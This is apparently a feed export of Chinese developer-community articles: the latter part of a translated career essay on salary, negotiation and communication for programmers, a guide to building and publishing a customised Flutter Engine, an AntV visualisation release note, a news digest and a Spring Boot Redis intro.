        我们的文化训练我们永远不要问薪水。这不是普遍现象。在许多文化中,专业语境是讨论钱的最佳时机。(如果你是一名日本中产阶级男性,你有理由在第二次约会时向你的足球俱乐部成员或寿司师傅透露你的确切薪水。如果你拥有一个公司,你可能会对你的净值谨慎不讲,但你会像程序员经常讨论编译器的方式讨论员工工资而不显尴尬。)

        如果我是一个马克思主义学术或阴谋理论家,我可能会认为这个中产阶级美国文化是特别为雇主的利益设计的,对于员工的利益考虑不周。在讨论任何特定目标雇主的薪资之前,你应该先和在那里工作的人谈谈,问问这个职位的薪资范围。你可以在网上找到这些人。

        (LinkedIn、Facebook、Twitter 和你的 (非图形数据库) 社交网络都是不错的选择。)

        不管怎样。工程师通常会得到一系列福利。在美国,首先要担心的是医疗保险 (传统上,你得到它,你的雇主需要支付大部分或所有的费用) 和你的退休计划,这是“我们将为你的 401k 计划提供最高 X% 的工资”的变体。其价值很容易计算: 工资的 X%。

        (这是一笔免费的钱,所以一定要根据雇主的匹配来最大限度地使用你的个人退休账户。把它投入指数基金,然后 40 年都不去想它。)

        还有其他的福利,比如“免费的汽水”“免费的午餐”“免费的编程书籍”等等。这些都是社交信号。当我说我要给你买汽水的时候,这说明了我如何管理我的工作场所,我希望谁为我工作,我希望如何对待他们。

        (上面写着:“我喜欢通过购买 20 美分一罐的苏打水,让这份工作看起来很有趣,从而改变年轻工程师们不成熟的行为。这样做可以为我自己省下数万美元的赔偿金,但是同时也是对他们健康的破坏。”但我喜欢喝汽水。)

        阅读社交信号并做出适当的反应,例如有人表示,愿意为员工教育付出钱的人很可能是一个值得工作的伟大公司,但不要放弃巨额赔偿来换取你可能会获得的小的津贴。
        image.png

        10 我怎样才能变得擅长谈判?

        这可能本身就应该重起一篇文章。下边简单先说下:

        • 记住,你是在为某个业务需求 (增加收入或降低成本) 推销解决方案,而不是在推销你的编程技能或你漂亮的脸蛋。
        • 带着适当的自信积极地谈判,就像你这样有道德的专业人士。这就是你的对手可能正在做的事情。你的目标是一个互惠互利的提议,而不是每次他们说什么你都答应。
        • “你以前的薪水是多少?”的意思是“请给我一个理由少给你钱”。
        • 永远要有还价。在你关心金钱以外的事情时,不要吝啬对薪水的还价。如果他们不能给出更高的薪水,那就谈谈休假吧。
        • 讨论薪资的唯一时机是在你们原则上达成一致之后,即如果你能达成一项互惠协议,他们就会聘用你。这时他们已经在你身上投入了大量的时间和金钱,特别是在面试之后。记住,与他们说“不,我们做不到”相关联的是巨大的成本,而且,他们可能不会因为对你来说很重要的相对较小的问题而破坏交易, 比如你可以这样做:接受他们的提议,还价,再加上几千美元,然后坚持下去。
        • 读本相关的书。许多人写过关于谈判的文章。谈判技巧每年能为你的整个职业生涯带来数千美元的收入,这有点让人不安,但工程师们认为,直接研究谈判技巧是一种疯狂的做法,因为本可以将这些时间用来研究一项技术的细节上。
          image.png

        11 如何评估股权激励

        • Roll d100。(你不是那种厉害的极客?那就换成 rand(100)。)
        • 0~70: 你的股权赠予一文不值。
        • 71~94: 你的股权授予值一笔钱,这让你放弃为创业公司工作,而不是为一个大公司工作,工资更高,福利更好。
        • 95~99: 你的股权授予是一笔有生命价值的钱。你不会感觉到富有的——你知道你不是最富有的人, 因为在过去的几年里,你身边的很多人都比你富有—— 但是你的家人再也不会因为你没有像加入一个真正的 $YOUR_INGROUP 那样加入 $FAVORED_FIELD 而让你伤心了。
        • 100: 你在下一个谷歌工作,富有得超乎想象。祝贺你。

        聪明的读者会注意到,100 实际上不会出现在 d100 或 Rand(100) 上。

        12 为什么不要对股权激励抱很大的期望?

        因为你从根本上高估了你的创业公司成功的可能性并且从根本上高估了如果创业公司成功分配给你的那部分蛋糕。阅读有关 Hacker News 或 Venture Hacks 的股权稀释和清算相关的文章,然后记住,有些人对商务谈判协议的知识比你对编程的了解还要多,想象一下,如果一个程序有几亿用户,你会对它做些什么。
        image.png

        13 作为应届毕业生,创业对你的职业生涯有好处吗?

        高百分比的结果是,你在接下来的几年里非常努力地工作,不光彩地失败,然后失业,之后进入另一家初创公司。如果你真的想离开学校进入一个创业公司磨炼两年,你也可以在一个大公司工作两年,赚点钱,然后使用你的资金、专业知识接触并找到一家更合适自己的公司。
        在创业公司工作,你会遇到很多创业者。他们中的大多数人两年后没有能力雇用你。在大公司工作,你往往会遇到你所在领域的很多人。在两年时间内,他们中的许多人要么能够雇用你,要么他们可以将你介绍给可以雇用你的人。

        14 建议大学生们到创业公司工作吗?

        在初创公司工作是一条职业道路,但更重要的是,这是一种生活方式的选择。这类似于在投资银行或学术界工作。这是三种截然不同的生活方式。许多人会因为他们自己的原因,试图向你推销那些符合你利益的生活方式。
        如果你真的想享受这种生活方式,那就大胆去做吧。如果你只是喜欢其中的一部分,记住,如果你真的想要的话,很多东西都是可以单点的。例如,如果你想从事尖端技术的工作,又想在下午 5 点半看到你的孩子,你可以在许许多多大型企业从事尖端技术的工作。
        (当然,如果它能为他们创造价值,他们会投资。他们也会投资大量的 CRUD 应用程序,虽然创业公司也会这样做——但他们只是把 CRUD 应用程序做得比大多数大型公司都好。《社交网络》的第一个小时讲的是如何让一款粗俗的应用程序看起来性感,第二个小时讲的是一出关于两个异性恋男人离婚的人生戏剧,这简直不可思议。)
        image.png

        15 你最重要的专业技能是沟通

        记住工程师不是被雇佣来创建程序的,那么他们如何来创造商业价值呢?让你获得工作的主要品质是给人一种你会创造价值的感觉。这并不一定与创造价值的能力正相关。

        我认识的一些最好的程序员天生就不擅长沟通。人们不愿意和他们一起工作,甚至低估了他们的价值创造能力,因为人们通过对话了解这种能力,而这个人恰恰不喜欢落于这种俗套当中。相反,人们通常认为我是他们所知道的最好的程序员之一,因为 a) 有明显的证据表明我能编程,b) 我的书写和口语非常非常好。

        (曾几何时,我认为自己在编程技能上“略低于平均水平”。从那以后,我认识到我对技能分配有一个严重扭曲的问题,编程技能并不是人们真正优化的目标,谦虚也不是我的兴趣所在。如今,如果你问我,我是一个多么优秀的程序员,我会告诉你,我是如何编写程序,帮助数百万儿童学习阅读,或者让公司赚了数百万美元。我在技能曲线上的位置对任何人来说都不重要,所以为什么要关注它呢?)

        沟通是一种技能。多练习:你会变好的。一个关键的子技能是能够快速、简明、自信地向一个不是你所在领域的专家、没有先天理由爱你的人解释你如何创造价值。

        如果你尝试这样做时,总是出现一些技术术语 (“通过优化……上的索引,将第 99 个百分点的查询时间减少了 200 毫秒”),那么删除这些术语,然后再说一次。你应该能够向一个聪明的 8 岁小孩,公司的首席财务官,或者一个不同专业的程序员,在任何适当的抽象层次上解释你所做的事情。
        image.png

        16 你经常会被要求去做企业销售或其他你进入工程领域后想要躲避的事情

        企业销售是进入一个公司,试图说服他们花六到七位数的钱去购买一个系统,这个系统可以提高他们的收入或者降低成本。你参加的每一次面试都是企业销售。政治、人际关系和沟通技巧非常重要,而技术上的实现却不那么重要。

        当你和同事开会,试图说服他们执行你的建议时,你也在做企业销售。如果你的工作职责是完成任务,那么说服别人完成任务就是你的核心工作技能。花适当的努力去做好它。

        这意味着能够在备忘录、电子邮件、对话、会议和 PowerPoint(在适当的时候) 中进行有效的沟通。它意味着理解如何为技术创新提供商业案例。这意味着你要知道,有时为了追求商业目标,你会做出技术上的牺牲,而这是正确的选择。

        17 谦虚并不是职业发展的必备特征

        很多工程师都有自信问题。许多人也来自于在文化上崇尚谦逊的成长环境。美国企业基本上不重视对个人成就的过分谦虚。在面试、与他人的互动以及生活中,正确的原则应该是“克制、自信的职业精神”。

        如果你也参与了和团队一起努力,而且团队努力取得了成功,正确的说法不是“我的一切都归功于我的团队”,除非你的立场是,所有人都能理解你为了谦虚而这样讲。你应该这样说:我很荣幸能够帮助我的团队完成 $YOUR_SPECIALTY 方面的工作。

        对着镜子说一千遍,直到你能板着脸说出来。你可能会觉得自己夸大了自己的成就。有人声称自己在努力优化生产,而自己的头衔是三明治艺术家,这是在夸大自己的成就。你是个工程师。你创造了奇迹,让人们的生活更美好。

        如果你是负责一个重要的数据库项目,特别是涉及到人,那么你领导的数据库工作,这是至关重要的项目的成功。这就是游戏的规则。如果你对此感觉很糟糕,就像一个棒球击球手因为偷垒而感觉很糟糕那样,但实际你在道德上并没有犯什么错误,你只是打得很糟糕。
        image.png

        18 所有的商业决策最终都不是通过规则或算法做出的

        人就是人。社交礼仪是一项非常重要的技能。人们通常会支持朋友的建议,因为他们是朋友,即使其他的建议实际上可能更好。人们往往会对与他们共进午餐的人怀有好感。

        有一本商业书籍叫《永远不要独自吃饭》。这可能值得一读,但人们总是喜欢那些他们认为与自己相似的人,而不是那些他们认为与自己不同的人。(这可以是好的、中性的,也可能是很令人讨厌的。但接受它永远是我们更好优化自己的基础)。

        真正的仪容整洁也是至关重要的,因为人们很容易被一些不注意的穿着搞得滑稽可笑,比如根据情况适当地着装、保持职业形象、用自信的语气说话等等。

        你的西装可以大概和电脑显示器一样贵。你只是偶尔的需要穿它一次,但当你需要它的时候,你会真的、真的、真的很高兴你拥有它。请相信我的话,如果我在参观市政厅时穿着日常便装,我就会被当成一个倒霉的、笨拙的 20 多岁年轻人来对待;如果我穿西装,我就会被当成一家跨国公司的首席执行官来对待。

        实际上,我是一家跨国公司 20 多岁的首席执行官,有点笨手笨脚,但当我希望得到领导般的优待时,我可以选择突出自己想要的一面。

        熟悉我工作的人可能会反对我把它描述成一家跨国公司,因为当“跨国公司”在对话中被使用时,大多数人并不是这么想的。抱歉,这是一个简单的会话技巧。如果你认为当人们发现自己被操纵时,他们会很生气。

        有些人也非常讨厌商务套装,这并不意味着西装毫无价值。顺便说一下,当你面临移民驱逐时,技术上正确的答案是最好的答案。
        image.png

        19 归根结底,你的生活幸福将不受你的职业支配

        与老年人交谈或信任拥有以下知识的社会科学家:家庭,信仰,爱好等,通常会在实际产生幸福的事情上淹没职业成就和金钱。你的职业生涯很重要,现在看来这可能是你一生中最重要的事情,但是很有可能这不是你永远相信的。为了生活而工作,不要为了工作而生活。

        英文原文:
        https://www.kalzumeus.com/2011/10/28/dont-call-yourself-a-programmer/

        ]]>
        怎样的Flutter Engine定制流程,才能实现真正“开箱即用”?-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 作者:闲鱼技术-卢克

        引言

        使用Flutter的过程中,如果遇到Flutter Engine的问题需要对其进行修改定制,那么我们需要对它的编译、打包以及发布流程非常清楚。这次在Flutter升级的过程中,发现之前Flutter Engine编译发布的脚本存在不少问题:
        没法做到开箱即用

        脚本分散在多个文件中不便于维护

        Engine源码准备过程过于复杂,需要对git库重置和切换分支

        另外Flutter Engine从1.5.4升级到1.9.1,Flutter Engine的产物结构发生了变化。

        因此,我们对Engine打包发布的脚本进行了重写,简化编译发布的流程。

        1.背景知识

        想要对Engine进行定制,首先就要熟悉它的编译和调试,虽然Flutter官方文档中对Engine的编译有说明,但内容比较分散,很多地方讲解得也不够详细。

        1.1.通过依赖关系确定代码版本 

        在我们使用Flutter开发的时候最直接接触的并不是Flutter Engine 而是 Flutter Framework(https://github.com/flutter/flutter)。所以我们第一步就是要安装我们需要使用的Flutter Framework的版本,比如我们需要使用Flutter 1.9.1 ,则本地拉取对应tag的Flutter 进行安装 https://github.com/flutter/flutter/releases/tag/v1.9.1%2Bhotfix.6 ,从Flutter Framework目录下的bin/internal/engine.version文件中我们可以看到对应的Flutter Engine的版本 b863200c37df4ed378042de11c4e9ff34e4e58c9 ,这个版本是通过Flutter Engine对应commit id(git提交的sha-1哈希值)来表示的。
        我们可以先把Flutter Engine的代码clone下来看下,clone之后 checkout到上面的commit节点,Flutter Engine根目录下面有一个比较重要的文件DEPS , 这个文件中描述了所有的依赖,如果你需要对其中的某些依赖比如skia,boringssl做定制的话,那么就需要基于这里面声明的版本来进行相应的修改。

        1.2.工具链

        在编译之前我们还需要了解下Flutter Engine编译所使用的一些工具

        上面的这些工具的使用场景,简单点说就是通过gclient获取Flutter Engine编译所需要的编译环境,源码和依赖库,然后通过gn生成ninja编译所需要的build文件,最终通过ninja来进行编译。

        1.3.编译

        Flutter的编译并不需要我们直接取拉Flutter Engine的源码,都是通过gclient来进行源码和依赖的管理,我们要做的第一步就是创建一个工作目录,比如一个名为engine的目录,目录下创建一个gclient的配置文件.gclient, 此配置文件的语法可以参见 https://chromium.googlesource.com/chromium/tools/depot_tools.git/+/HEAD/README.gclient.md 

        solutions = [
          {
            "managed": False,
            "name": "src/flutter",
            "url": "https://github.com/flutter/flutter.git",
            "custom_deps": {},
            "deps_file": "DEPS",
            "safesync_url": "",
          },
        ]

        进入engine目录执行 gclient sync,这个步骤比较耗时,第一次运行,即使100%之后还是会下载东西,我们可以通过进程管理器来查看gclient相应进程(.cipd_client)的网络活动情况,不要提前手动kill掉进程。第一次gclient sync 执行完成了,engine/src/flutter为Flutter Engine源码的位置,我们需要手动切换到对应的版本分支,然后再次执行gclinet sync对此版本的依赖重新同步下,此次执行会比首次执行快很多。

        接下来就是对Engine进行编译了,这里我们以iOS为例,我们编译了iOS模拟器的Flutter Engine的debug产物

        ./flutter/tools/gn --ios --simulator --unoptimized  #生成ninja编译的配置文件 
        ./flutter/tools/gn --unoptimized
        ninja -C out/ios_debug_sim_unopt && ninja -C out/host_debug_unopt

        gn在生成build文件的时候有不少参数需要我们关注,可以通过类似--ios --android来指定系统平台,不指定则为host平台,比如在macOS中为macOS,在windows中为windows; 通过--unoptimized来指定Flutter Engine是否进行debug编译,如果指定了--unoptimized,则打出来的产物会带debug的一些东西,比如额外的log,assert,ios则会带上dSYM信息。这样你就可以通过IDE来进行Engine的源码调试,所以如果你想要进行Engine源码的调试则必须指定--unoptimized; 另外我们可以通过runtime-mode来指定flutter的运行模式,包含debug,release,profile不指定则为debug。

        编译完成后 可以在out对应的目录中看到对应的产物 有两个比较关心的就是 Flutter.framework和clang_x64目录下的gen_snapshot,其中Flutter.framework是Flutter Engine的编译的结果,gen_snapshot则是担当着dart的编译器
        同时还生成了iOS的工程文件,我们可以通过Xcode打开查看所有的Flutter Engine的源码

        1.4.调试

        首先我们可以通过IDE或者flutter命令创建一个demo工程,然后通过命令使用local engine来运行,
        flutter run --local-engine-src-path=/Users/Luke/Projects/engine/src  --local-engine=ios_debug_sim_unopt
        在flutter demo工程下通过local engine的方式运行,这里我们使用的是ios模拟器来进行调试的,运行之后确认模拟器可以正常run起来。这个时候我们通过Xcode打开ios目录下的iOS的工程,会发现Generated.xcconfig中多了一些FLUTTER_ENGINE,LOCAL_ENGINE的内容,另外工程中的Flutter.framework已经变成了我们所指定的本地engine的产物(拷贝过来的)。

        这个时候我们可以在main函数中设置断点(swift的工程没有main的情况下,断点设置在@UIApplicationMain下面)。debug走到断点的时候我们可以在console中通过br set -f FlutterViewController.mm -l 123来设置断点。
        当然还有个更简单的方法,就是将local engine对应的生成的iOS的project拖入demo工程,就可以直接在Engine的源码中设置断点。这两种方法都可以进行断点调试。

        TB11fMWn8r0gK0jSZFnXXbRRXXa-566-332.png

        2. Flutter Engine发布流程定制

        上面介绍了如何对官方的engine代码进行编译和调试,但是在真实的开发流程中我们并不能直接使用local engine,

        2.1.自己的代码库

        如果你定制的代码库也是放在github上那么直接fork官方的repo进行修改便可以了,如果代码库需要在自己的服务器上,那么步骤稍微多一些,首先在你自己的git服务中创建自己的repo,比如在自己搭建的gitlab中创建一个MyFlutterEngine的repo,后继就可以进行代码库的准备了

        git clone git@gitlab.xxxx.com:xxxx/MyFlutterEngine.git
        git remote add upstream https://github.com/flutter/engine.git
        git fetch upstream
        git checkout upstream/v1.9.1-hotfixes
        git branch v1.9.1
        git checkout v1.9.1
        git push origin v1.9.1

        到这里我们就准备好我们自己的Flutter Engine的代码库了,你可以在里面进行代码的修改

        2.2.Flutter Engine产物发布的格式和方式

        但是当我们真正用于线上产品打包发布的时候,我们并不会使用local engine的方式来工作。Flutter Framework的目录下有一个bin/cache的目录(此目录默认是gitignore的),所有的不同架构不同平台的engine的产物都会换存在下面,通过检查会发现,这下面的engine产物和我们直接编译得出的产物并不完全一致,所以第一步就需要弄清楚bin/cache下engine产物的结构。
        这里我们只关心iOS和安卓,iOS的比较简单就三个目录,ios,ios-profile,ios-release,分别对应debug,profile,release的flutter运行模式,每一个其实都是不同CPU架构进行了合并(通过lipo工具进行合并)主要包含armv7,arm64,这里gen_snapshot有两个版本,分别用于arm64和amrv7的架构进行dart的aot编译

        TB1E7Xuoi_1gK0jSZFqXXcpaXXa-518-806.png

        由于安卓平台中,没法对不同CPU架构进行合并所以安卓产物的目录比较多

        TB1JPluokL0gK0jSZFxXXXWHVXa-428-652.png

        想知道详细的逻辑可以参见flutter tool中关于cache部分的源码 https://github.com/flutter/flutter/blob/v1.9.1-hotfixes/packages/flutter_tools/lib/src/cache.dart, 这些Flutter Engine的构建产物在需要的时候从称之为flutter infra的镜像中下载,在国内可以通过国内的镜像(https://storage.flutter-io.cn/flutter_infra)进行下载,具体可以查看 https://flutter.dev/community/china 中的说明。

        2.3.发布流程

        经过以上的了解,我们可以开始着手准备Flutter Engine定制化的发布了。
        我们可以通过一个git库来管理我们的发布脚本和一些配置文件,这样可以保证别人只要clone下此库就可以直接使用了。如果需要支持多Flutter Engine版本的打包发布,可以一个版本对应一个打包发布脚本,将公用的方法比如log,打包状态这些抽离到公用的脚本中。

        以下为单个Flutter Engine版本的发布的流程:

        TB1GLFtobr1gK0jSZFDXXb9yVXa-980-848.png

        首先我们需要准备一个.gclient文件,实际使用时候可以将此文件做成一个模版文件,每一个Flutter Engine版本对应一个.gclient模版文件,在gclient sync之前将相应版本的模版拷贝成.gclient。
        在.gclient的配置中我们可以直接指定好Flutter Engine代码及其对应的revision,如果部分依赖的库也需要修改,则可以在custom_deps中加入需要修改的依赖库的git地址及其revision,指定好revision可以避免首次gclient sync之后需要额外切换Flutter Engine的代码分支后再gclient sync的情况,也不需要手动去修改定制过的依赖的代码库和分支,可以减少不少工作量。

        v1.9.1版本的.gclient模版文件:

        solutions = [
         {
           "managed": False,
           "name": "src/flutter",
           "url": "git@gitlab.alibaba-inc.com:xxxx/MyFlutterEngine.git@v1.9.1",
           "custom_deps": {
           "src/third_party/skia":"git@gitlab.alibaba-inc.com:xxxx/skia.git@v1.9.1",
           "src/third_party/boringssl/src":"git@gitlab.alibaba-inc.com:xxxx/boringssl.git@v1.9.1",
           },
           "deps_file": "DEPS",
           "safesync_url": "",
         },
        ]

        gclient sync将Flutter Engine代码以及对应的依赖都准备好了之后就是编译的工作了,同步完成后目录下面出现的src目录其本身也是一个git库,具体可查看 https://github.com/flutter/buildroot ,内容主要是Flutter Engine的编译环境,src下面的flutter则为Flutter Engine的代码,下面是具体的编译脚本,这里以iOS为例

        ./flutter/tools/gn --runtime-mode=debug --ios --simulator
        ninja -C out/ios_debug_sim
        ./flutter/tools/gn --runtime-mode=debug --ios --ios-cpu=arm
        ninja -C out/ios_debug_arm
        ./flutter/tools/gn --runtime-mode=debug --ios --ios-cpu=arm64
        ninja -C out/ios_debug
        
        ./flutter/tools/gn --runtime-mode=release --ios --ios-cpu=arm
        ninja -C out/ios_release_arm
        ./flutter/tools/gn --runtime-mode=release --ios --ios-cpu=arm64
        ninja -C out/ios_release
        
        ./flutter/tools/gn --runtime-mode=profile --ios --ios-cpu=arm
        ninja -C out/ios_profile_arm
        ./flutter/tools/gn --runtime-mode=profile --ios --ios-cpu=arm64
        ninja -C out/ios_profile

        执行之后所有的初步的产物都会在out对应的子目录中,现在我们再次进入到Flutter Engine 编译的根目录中,进行产物的组装和发布,在这里我们目前采用了一种比较简单的发布方案,我们将自己的Flutter Framework的bin/cache目录从gitignore中移除,发布的时候就将产物覆盖然后提交到我们自己的Flutter Framework的库中,缺点就是Flutter Framework的git库体积会比较大,而且后继万一官方做一些缓存策略的改变也会被影响到。

        下面以iOS debug的产物为例,release,profile都是类似的过程:

        # ios debug
        cp -rf src/out/ios_debug/Flutter.framework tmp/
        
        lipo -create -output tmp/Flutter.framework/Flutter 
        src/out/ios_debug/Flutter.framework/Flutter 
        src/out/ios_debug_arm/Flutter.framework/Flutter 
        src/out/ios_debug_sim/Flutter.framework/Flutter
        
        cd tmp
        zip -r Flutter.framework.zip Flutter.framework
        cd ..
        
        mkdir -p "${flutter_path}"/bin/cache/artifacts/engine/ios
        cp -rf tmp/Flutter.framework "${flutter_path}"/bin/cache/artifacts/engine/ios/
        cp -f tmp/Flutter.framework.zip "${flutter_path}"/bin/cache/artifacts/engine/ios/
        cp -f src/out/ios_debug/clang_x64/gen_snapshot "${flutter_path}"/bin/cache/artifacts/engine/ios/gen_snapshot_arm64
        cp -f src/out/ios_debug_arm/clang_x64/gen_snapshot "${flutter_path}"/bin/cache/artifacts/engine/ios/gen_snapshot_armv7
        
        rm -rf tmp/*
        

        收益

        通过将此脚本,只要我们下载好发布工具库,直接执行脚本就可以自动开始编译发布了,真正做到开箱即用,免去别的配置和准备。

        .gclient 使用模版文件,不同版本的engine对应不同的模版,打包时拷贝执行

        .gclient 中指定好版本分支和自定义的依赖信息,源代码和依赖sync后一步到位,避免二次切换分支

        打包流程脚本和公用方法分离,不同版本的打包脚本独立分开,通用方法共享,方便维护

        后续计划

        前面提到将产物放到Flutter Framework的bin/cache目录下并不是最优的方案,通过官方的文档可以知道通过设置FLUTTERSTORAGEBASEURL的环境变量可以更改flutter infra的镜像的地址,所以后继的方案就是搭建自己的flutter infra镜像,产物编译完成后提交到自己的镜像网站中。

        ]]>
        知源 · 致远 - AntV 年度发布-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

        导读

        AntV 是一个数据可视化项目,也是一个团队,蚂蚁金服数据可视化团队,一群有爱有梦的人,怀揣「让人们在数据世界里获得视觉化思考能力」的梦想前行, 希望成就智能时代全球领先的数据可视化解决方案,满足与日俱增的数据洞察需求。

        AntV 目前覆盖了统计图表、移动端图表、图可视化、地理可视化、2D 绘图引擎和智能可视化多个领域,主要包含 G2、G6、F2、L7 以及一套完整的图表使用和设计规范。得益于丰富的业务场景和用户需求挑战,AntV 经历多年积累与不断打磨,已支撑起阿里集团内外 20000+ 业务系统,通过了日均千万级 UV 产品的严苛考验,是阿里经济体数据可视化最重要的基础设施。

        跟往年的品牌日一样,今天依旧会有几个底层基础类库的大量更新发布,除此之外,非常高兴的向大家介绍 AntV 产品矩阵新添的三个成员:

        • G2Plot,一个基于 G2,开箱即用、易于配置、具有良好视觉和交互体验的通用图表库;
        • Graphin,一个基于 G6,专注关系可视分析领域的 React 组件库,简单,高效,开箱即用;
        • ChartCube,一个可以快速完成图表制作的在线工具,只需要三步就可以创建出高品质的图表;

        他们都是 AntV 技术栈上的更高抽象的封装或应用,详见文稿详情。

        跟往年的品牌日不一样,今年的品牌日主题为「知源 · 致远」,除了上述技术、设计的更新与发布,我们真诚的向大家分享 AntV 团队的由来与发展历程,详见文末 AntV 全员出镜演绎的团队纪录片,匠心知源,同行致远。

        匠心打磨,是时候给大家一个图表库了

        G2Plot

        G2Plot,一个基于 G2,开箱即用、易于配置、具有良好视觉和交互体验的通用图表库。

        G2 是一套基于可视化编码的图形语法,以数据驱动,具有高度的易用性和扩展性,用户无需关注各种繁琐的实现细节,一条语句即可构建出各种各样的可交互的统计图表。

        每个人都能制作图表,但并不是人人都能做出易读,好用又好看的优秀图表。如何从无聊的默认设置变成有洞见的数据图表呢?我们融合了在商业智能(BI)中的可视分析与设计实践经验,基于 G2 的灵活、强大的可视表达能力,抽象常用图表类型封装出全新的可视化图表库 G2Plot。结合真实数据,制作图表,获取专业的可视化。

        我们曾经说过 G2 是一个可以生产图表库的图表库,如今自证预言的推出 G2Plot 除了具备 G2 无限可能的可视表达能力外,G2Plot 最主要的特性还有:

        • 开箱即用:默认好用开箱即用的高质量统计图表
        • 响应式:针对各种分辨率的响应、文本覆盖、文本超出限制做了精心的设计
        • 会讲故事的图表:提供了多图组合、叠加、联动,共同讲述一个数据故事的可能性


        提前预告的还有 G2 4.0,在 G2 1.0 - 2.0 阶段我们专注于图形语法,解决了数据到图形的映射问题,用户可以通过自由组合图形语法快速搭建各种图表。G2 3.0 随着业务对图表体验需求不断升级,我们对图表组件以及交互进行了改造,提供了更加灵活的配置以及自定义功能。而此次 G2 4.0 对我们来说是一个很重要的新起点,我们对底层架构做了大量的重构工作,当前 G2 4.0 Alpha 版本已放出,稳定版预计将在两个月后正式发布,她将是一个专业的、给用户带来更多可能性的可视化底层引擎,在保证图表优雅体验的同时,4.0 将会更加关注于:

        • 图形语法,数据到图形的映射;
        • 交互语法,交互同数据、图形的连接机制;
        • 组件体系,面向交互、体验优雅;

        更多关于 G2Plot、G2 的最新进展见文末链接。

        点线析源远,洞察关系数据

        Graphin

        _Graphin,取名自 Graph Insight,图的分析洞察,_一个基于 G6,专注关系可视分析领域的 React 组件库,简单,高效,开箱即用。

        G6 AntV 旗下的图分析及图可视化引擎,G 来自于 Graphic、Graph ,意味着我们要基于图分析技术做图可视化;6 来自于《六度分隔理论》,表达了我们对关系数据、关系网络的敬畏和着迷。

        目前图分析已经被广泛应用在金融反欺诈,公共安全,基础设施监控,智慧医疗等领域。在这个过程中,我们需要一个强大的图计算引擎,解决数据合规,挖掘问题。也需要相应的图算法去解决图的构建,分析问题。最后在前端,我们需要一个图可视化引擎,为我们提供可视化分析能力,发现潜在的价值。

        Graphin 就是在这样的背景下诞生的,基于 G6 的底层能力一方面屏蔽掉一些领域专业的概念,同时又封装进去很多常用的图分析功能,进一步降低图可视化领域的专业门槛,将这些关系数据进行可视化分析与探索。Graphin 具有如下产品特性:

        • 数据驱动:充分利用 React 框架特性,支持数据到图的映射与变化;
        • 自动布局:内置丰富的布局,支持布局切换,满足不同场景下的布局需求;
        • 分析组件:内置 Toolbar,ContextMenu,MiniMap,Filter 等组件,组件化开发,支持自定义;
        • 自定义样式:内置节点与边的样式,支持用户通过 JSON Schema 自定义;
        • 基础分析:支持节点扩散,寻找边关系等基础分析方法;
        • 高级分析:开源后计划新增时序分析(timebar),地理位置分析(map mode)等高级分析方法。

        值得一提的是,G6 从 18 年开源到现在已经第 2 个版本,从基础关系图绘制到图分析与图编辑底座,而在 3.1.版本后的 G6 已重新聚焦在图分析方向,我们将会给出另外一个产品去承载图编辑方向的需求。有了这个改变,今天我们带来的 G6 3.2 版本能够更聚焦的提供:

        • 更丰富的元素:内置丰富的节点与边元素,自由配置,支持自定义;
        • 更可控的交互:内置 10+ 交互行为,支持自定义交互;
        • 更强大的布局:内置了 10+ 常用的图布局,支持自定义布局;
        • 更便捷的组件:优化内置组件功能及性能;
        • 更友好的体验:根据用户需求分层梳理文档,支持 TypeScript 类型推断。

        除了上述默认好用、配置自由的内置功能,元素、交互、布局均具有高可扩展的自定义机制。

        丰富的内置元素。]]> 双 11 模块 79.34% 的代码是怎样智能生成的? | 开发者必读(109期)-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800

        最炫的技术新知、最热门的大咖公开课、最有趣的开发者活动、最实用的工具干货,就在《开发者必读》!

        每日集成开发者社区精品内容,你身边的技术资讯管家。


        每日头条

        双 11 模块 79.34% 的代码是怎样智能生成的?

        作为今年阿里经济体前端委员会的四大技术方向之一,前端智能化方向一被提及,就不免有人好奇:前端结合 AI 能做些什么,怎么做,未来会不会对前端产生很大的冲击等等。本篇文章将围绕这些问题,以「设计稿自动生成代码」场景为例,从背景分析、竞品分析、问题拆解、技术方案等几个角度切入,细述相关思考及过程实践。


        最强干货

        不要再叫自己“程序员”了

        程序员不要将自己限定在写代码这一单一职能上,需要认清自身商业价值的本质,需要锻炼自己的沟通能力,擅于表现自己。职业只是一种生活方式,并不能完全支配我们的幸福。我们应该为了生活而工作,而不要为了工作而生活。

        首度公开!OceanBase存储系统架构的演进历程及工程实践

        作为一款100%自研的分布式数据库,OceanBase历经了近十年的发展历程。近十年来,OceanBase的存储架构经历了多次演进,以解决业务越来越复杂苛刻的存储需求。本文整理自赵裕众(花名陈群)在2019 SACC中国系统架构师大会中的演讲。

        2019 年度全球程序员薪酬报告:40岁以后普遍遭遇收入天花板

        日前 ,Hired 发布了《2019 年度薪酬状况报告》。该报告聚焦于全球 13 个城市的技术领域发展状况,该报告特别关注了软件工程师、产品经理、DevOps 工程师、设计师以及数据科学家等技术工作者的薪资。


        每天读本书

        《计算机程序的构造和解释(原书第2版)典藏版》之二:构造数据抽象

        在这一章里,我们将进一步去考察更复杂的数据。第1章里的所有过程,操作的都是简单的数值数据,而对我们希望用计算去处理的许多问题而言,只有这种简单数据还不够。许多程序在设计时就是为了模拟复杂的现象,因此它们就常常需要构造起一些计算对象,这些对象都是由一些部分组成的,以便去模拟真实世界里的那些具有若干侧面的现象。这样,与我们在第1章里所做的事情(通过将一些过程组合起来形成复合的过程,以这种方式构造起各种抽象)相对应,本章将重点转到各种程序设计语言都包含的另一个关键方面:讨论它们所提供的,将数据对象组合起来,形成复合数据的方式。


        精品公开课

        超燃!Flink Forward Asia 2019 大会主会场精彩直播

        11月28日,Apache Flink 及大数据领域顶级盛会 Flink Forward Asia 2019重磅开启!

        阿里巴巴集团首席技术官、阿里云智能总裁行癫与多位来自阿里、腾讯、美团、字节跳动、百度、英特尔、戴尔科技集团、Lyft、Netflix 及 Flink 创始团队等近 30 家知名企业资深技术专家齐聚北京国际会议中心,与全球开发者共同探讨大数据时代核心技术与开源生态。

        无论你关注算力、大数据相关技术,还是人工智能或企业数字化转型,顶级嘉宾阵容,邀你一起探索强大算力关键技术与数字化转型未来风向。


        每日集成开发者社区精品内容,请持续关注开发者必读

        ]]> Spring boot如何快速的配置多个Redis数据源-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 简介

        redis 多数据源主要的运用场景是在需要使用多个redis服务器或者使用多个redis库,本文采用的是fastdep依赖集成框架,快速集成Redis多数据源并集成lettuce连接池,只需引入依赖后在yaml文件中配置多数据源连接信息即可。

        源码地址

